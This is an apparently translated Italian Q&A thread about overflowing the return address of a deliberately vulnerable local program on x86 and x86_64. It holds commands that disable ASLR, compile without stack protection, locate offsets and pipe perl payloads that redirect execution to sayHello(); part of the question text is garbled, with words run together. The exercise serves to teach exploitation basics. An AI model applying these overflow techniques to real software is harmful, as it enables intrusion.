Problemi con lo straripamento dell'indirizzo di ritorno sullo stack x86_64

3

Da notare prima di compilare il programma ho disabilitato ASLR tramite:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space 
root@laptop:~# exit
logout

Ho quindi compilato il programma tramite:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(Inoltre non ho capito il parametro -mpreferred-stack-boundary=4 )

Ho un programma:

L'overflowinteoriadovrebbeverificarsiquandoilcompilatoreraggiungelarigadigets(buff);dovehotentatoditraboccarel'indirizzodiritorno($RIP).

Diseguitoèlosmontaggiodelmiometodoprincipale,getInput()esayHello()(alloscopodimostrarel'indirizzodelmetodosayHello,0x4005d,chesperodisovrascriverelostackRIPcon).

Quandoforniscouninputsuperiorea15xA,seggoilprogramma.Equandoforniscopiùdi24xA,comincioasovrascrivereil$RIP,cioè25xArestituisconoilvaloreRIP0x0000000000400041.Logicamente,hoprovatoafornireivaloriesadecimaliper"4005dc" (indirizzo say ()), ma non riesco a provarlo. Quando si utilizza un convertitore esadecimale online in un convertitore di testo, il valore di testo corrispondente ricevuto da "4005dc" è "@ Ü" .

Ancora di più capisco che quando il programma ha raggiunto l'istruzione retq in getInput() , farà apparire l'indirizzo di ritorno in cima allo stack e vi salterà sopra.

    
posta reyyez 02.11.2015 - 20:38
fonte

2 risposte

2

SOLO SOLUZIONE x86: (vedi commenti)

Se ho capito bene il tuo compito, devi overflow il puntatore di funzione per sayHello.

Quindi, il primo compito è identificare l'indirizzo delle funzioni.

nm test | grep sayHello

Nel mio caso questo era il risultato

0804844b T sayHello

Quindi devo sovrascrivere l'indirizzo di ritorno (RET) di getInput () con 0x0804844b. Ora puoi identificare tramite gdb quanto lontano si trova il buffer buffer. Ho scelto un approccio diverso, poiché era abbastanza ovvio quale sarà la gamma. Quindi il mio prossimo passo è stato identificare la quantità di dati da inserire nel buff per sovrascrivere RET. Questo viene fatto usando il seguente comando che inserirà una stringa di "A" ripetuta 28 volte quando il programma attende input (gets ()):

perl -e 'print "A"x28' | strace -i test

e ho cercato una riga di questo tipo alla fine:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Successivamente, ho ridotto il numero di 28 a 24 e stampato quattro volte B per vedere se l'indirizzo nell'output precedente cambia in [42424242] - non lo è, quindi ho ridotto il numero da 24 a 20 e ho controllato di nuovo.

perl -e 'print "A"x20; print "BBBB"' |strace -i ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

L'ultimo passo è sostituire BBBB con l'indirizzo (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test

e l'output era:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

Ho sovrascritto con successo RET con l'indirizzo di sayHello ().

Con quello fuori dal petto, diamo un'occhiata alla tua domanda sulla stringa della compilation.

-mpreferred-stack-boundary=4 man gcc è molto utile qui. Dì a gcc con questo parametro di mantenere il limite dello stack allineato a 2 ^ 4 (16 Byte). Se si desidera averlo a 16 byte, è possibile lasciare il parametro poiché questo è l'impostazione predefinita.

Tuttavia, ho anche usato il parametro -fno-stack-protector . Con questo dico al compilatore di non aggiungere altro codice per controllare l'overflow del buffer. Se lo lasci fuori, non sarai in grado di sfruttare il tuo binario di prova.

    
risposta data 03.11.2015 - 09:32
fonte
1

SOLUZIONE x86_64:

Scusami ancora per la mia ignoranza nella prima risposta, se la mia mente si fosse allontanata ...

Ma in realtà non è così diverso, qui passo passo come ho risolto questo.

1) Compilazione del codice sorgente:

$ gcc -fno-stack-protector -o vuln vuln.c

Nota: ho rinominato l'eseguibile in vuln anziché in test, solo qualcosa che mi piace ordinare il mio filesystem.

2) Identifica ADDR di sayHello ():

$ nm vuln | grep sayHello
00000000004005bd T sayHello

Quindi l'ADDR di sayHello è 0x0000004005bd , dobbiamo sovrascrivere RIP con quel valore prima che getInput() restituisca.

3) Identifica la posizione di RET_ADDR da sovrascrivere da ADDR:

Simile alla soluzione x86, abbiamo bisogno di identificare quante volte possiamo passare "A" (o qualsiasi altro carattere) che il valore è memorizzato nella posizione di RET_ADDR. GDB è tuo amico qui, specialmente con peda . Puoi trovare un esempio eccellente qui .

Nel mio caso era 24 byte = > perl -e 'print "A"x24'

4) Carico payload per sovrascrivere RET_ADDR:

Questo è il comando perl, il cui risultato è inserito nella chiamata gets ().

perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'

La seconda stampa all'interno del comando perl viene utilizzata per passare l'ADDR di sayHello () in little-endian.

5) Comando PIPE da (4) al Programma:

$ perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)
    
risposta data 04.11.2015 - 18:47
fonte

Leggi altre domande sui tag